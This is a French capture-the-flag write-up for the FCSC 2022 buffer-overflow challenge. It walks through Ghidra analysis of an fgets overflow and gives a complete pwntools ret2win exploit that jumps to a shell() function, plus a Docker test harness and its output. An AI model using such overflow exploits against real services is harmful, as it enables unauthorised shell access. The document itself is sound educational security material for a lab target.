Il nous est demandé d’obtenir un shell à partir du programme pwn
, il nous faut deux choses :
-
La possibilité d’appeler un shell quelconque.
-
La possibilité de faire un dépassement de pile
Nous analysons le programme avec Ghidra à la recherche de ces éléments.
Nous trouvons une fonction shell()
qui appelle /bin/bash
via la fonction system()
:
void shell(void) {
puts("Enjoy your shell!");
system("/bin/bash");
return;
}
Nous analysons la fonction main()
:
undefined8 main(void) {
int iVar1;
time_t tVar2;
char local_38 [36];
int local_14;
uint local_10;
uint local_c;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
local_c = rand();
local_10 = rand();
local_14 = local_10 + local_c;
printf(">>> %d + %d = ",(ulong)local_c,(ulong)local_10);
fflush(stdout);
fgets(local_38,100,stdin);
iVar1 = atoi(local_38);
if (local_14 == iVar1) {
puts("Yes!");
}
else {
puts("No!");
}
return 0;
Nous voyons que des données sont lues depuis stdin
par fgets(local_38,100,stdin)
, 100 octets lus alors que le buffer de lecture alloué ne fait que 36 octets char local_38 [36]
.
Nous pouvons donc essayer de remplir la pile et de placer au dessus l’adresse de la fonction void shell(void)
qui du coup sera appelée lors du return 0
à la fin de la fonction main()
.
Pour ceci, nous devons trouver l’adresse de la fonction shell
:, nous la trouvons dans le code assembleur avec Ghidra, il s’agit de 0x004011a2
:
**************************************************************
* FUNCTION *
**************************************************************
undefined shell()
undefined AL:1 <RETURN>
shell XREF[3]: Entry Point(*), 0040205c,
00402108(*)
004011a2 55 PUSH RBP
004011a3 48 89 e5 MOV RBP,RSP
004011a6 48 8d 3d LEA RDI,[s_Enjoy_your_shell!_00402004] = "Enjoy your shell!"
57 0e 00 00
004011ad e8 7e fe CALL <EXTERNAL>::puts int puts(char * __s)
ff ff
004011b2 48 8d 3d LEA RDI,[s_/bin/bash_00402016] = "/bin/bash"
5d 0e 00 00
004011b9 e8 82 fe CALL <EXTERNAL>::system int system(char * __command)
ff ff
004011be 90 NOP
004011bf 5d POP RBP
004011c0 c3 RET
Nous devons maintenant trouver combien d’octets envoyer pour l’appel fgets(local_38,100,stdin)
provoque le débordement souhaité, nous voyons que la variable local_38
est située sur la pile à Stack[-0x38]
, il faut donc envoyer 0x38 octets (56 en décimal) puis l’adresse de la fonction shell()
, c’est-à-dire 0x004011a2
.
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined4 Stack[-0xc]:4 local_c XREF[3]: 004011df(W),
undefined4 Stack[-0x10]:4 local_10 XREF[3]: 004011e7(W),
undefined4 Stack[-0x14]:4 local_14 XREF[2]: 004011f2(W),
undefined1 Stack[-0x38]:1 local_38 XREF[2]: 00401224(*),
Nous construisons notre buffer pour exploiter cette vulnérabilité.
ATTENTION: Bien que Ghidra affiche l’adresse de la fonction shell comme si elle faisait 32 bits, nous devons pousser 64 bits sur la pile, car le programme est de type ELF 64-bit
.
EXPLOIT = b'0'*56 + p64(0x004011a2) + b'\n'
Le programme d’exploitation est le suivant :
#!/usr/bin/python3
from pwn import *
from time import sleep
EXPLOIT = b'0'*56 + p64(0x004011a2) + b'\n'
conn = remote('localhost',4000)
print(conn.recvuntil(b' = '))
conn.send(EXPLOIT)
sleep(1)
conn.send(b'/bin/cat flag\n')
print(conn.recv())
conn.close()
Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc
pour attendre le temps nécessaire pour laisser au container le temps de démarrer :
#!/bin/bash
set -e
if [ ! -f docker-compose.yml ]; then
wget https://hackropole.fr/challenges/fcsc2022-pwn-depassement-de-tampon/docker-compose.public.yml -O docker-compose.yml
fi
docker-compose up -d
while ! nc -z localhost 4000; do sleep 1; done
python3 015_Depassement_de_tampon.py
docker-compose down
Le résultat est le suivant :
Creating network "015_depassement_de_tampon_default" with the default driver
Creating 015_depassement_de_tampon_depassement-de-tampon_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'>>> 1318252576 + 1147507204 = '
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 015_depassement_de_tampon_depassement-de-tampon_1 ... done
Removing 015_depassement_de_tampon_depassement-de-tampon_1 ... done
Removing network 015_depassement_de_tampon_default